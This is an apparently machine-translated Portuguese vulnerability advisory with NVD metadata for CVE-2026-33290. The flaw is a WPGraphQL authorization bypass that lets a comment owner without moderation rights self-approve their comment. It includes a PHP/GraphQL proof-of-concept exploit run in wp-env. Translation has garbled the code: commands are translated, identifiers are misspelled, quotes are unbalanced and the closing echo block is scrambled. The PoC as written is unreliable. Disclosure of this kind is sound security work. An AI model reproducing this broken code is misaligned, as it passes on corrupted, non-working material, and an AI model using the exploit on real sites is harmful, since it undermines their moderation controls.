O WPGraphQL fornece uma API GraphQL para sites WordPress. Antes da versão 2.10.0, uma falha de autorização na atualização do comentário permite que um usuário autêntico de baixa prioridade (incluindo um papel personalizado com capacidades zero) mude o estado de moderação do seu próprio comentário (por exemplo, APROVE) sem a capacidade de moderação_ comentários. Isto pode evitar fluxos de trabalho de moderação e permitir que usuários não confiados aprovem o conteúdo. Versão 2.10.0 contém um patch. ### Detalhes no WPGraphQL 2.9.1 (testado), autorização para atualizaçãoO comentário é baseado no dono, não no campo: - plugins/wp-graphql/src/Mutation/CommentUpdate.php: 92 permite moderadores. - plugins/wp-graphql/src/Mutation/CommentUpdate.php: 99: 99 também permite que o dono do comentário, mesmo que não tenha capacidade de moderação. - plugins/wp-graphql/src/Data/ComentárioMutation.php: 94: 94 mapas GraphQL de entrada diretamente para WordPress comment_approwned. - plugins/wp-graphql/src/Mutation/CommentUpdate.php: 120: 120 persiste esse valor através do wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php: 22: 22 expõe estados de moderação (APPROVE, HOLD, SPAM, TRASH). Isto significa que um proprietário não-moderador pode enviar status durante a atualização e o estado de moderação de transição. ### PoC Testado em wp-env local (Docker) com WPGraphQL 2.9.1. 1. Ambiente inicial: npm instalar npm executar wp-env iniciar 2. Execute este PoC: ``` npm executar wp-env executar cli -- wp eval ' add_role("no_caps","Sem Caps",[]); $user_id = username_exists("poc_nocaps"); se (! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw 0 rd!","poc_nocaps@exemplo.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_autor" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approwned" => 0 ", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutação U(\$id:ID!){ update(input:{id:\$id, estatus:APPROVE}){ comentário de sucesso{ databaseId status } } }, "variables" => [ "id" => (string)$comment_id ], ]; echo wp_json_encode([ "role_caps" => array_keys(array_filter(((array)$user->allcaps)), "status" => $result["data"]]]]""""""status"""d_id"]]? null,"db_comment_approwned" => get_comment($]->comment_id" 3. Observar o resultado: - role_caps está vazio (ou nenhum modered_comments) - mutação retorna o estado: APROVE - valor DB torna-se comenta_aprovado = 1 ### Impacto Este é um problema de controle de acesso de passagem / quebra de autorização em transições de estado de moderação de comentários. Qualquer implantação usando mutações de comentários do WPGraphQL onde usuários de baixas privilégios possam fazer comentários é afetada. A política de moderação pode ser evitada por conteúdo auto- aprovado.
O registro de base de dados de vulnerabilidade nacional CVE- 2026 - 33290 foi publicado em 2026 - 03 - 24 T 01: 17: 01.677 Z e última modificação em 2026 - 06 - 17 T 10: 37: 15.640 Z. O estado registrado é Diferido.
métricas de vulnerabilidade gravadas: CVSS 3.1, pontuação de base 4.3, gravidade MEDIUM, vetor CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, pontuação de exploração 2.8, pontuação de impacto 1.4; CVSS.
Classificações de fraqueza associadas: CWE- 862.
O registro NVD inclui referências de suporte documentando a vulnerabilidade, tecnologia afetada ou informações de remediação.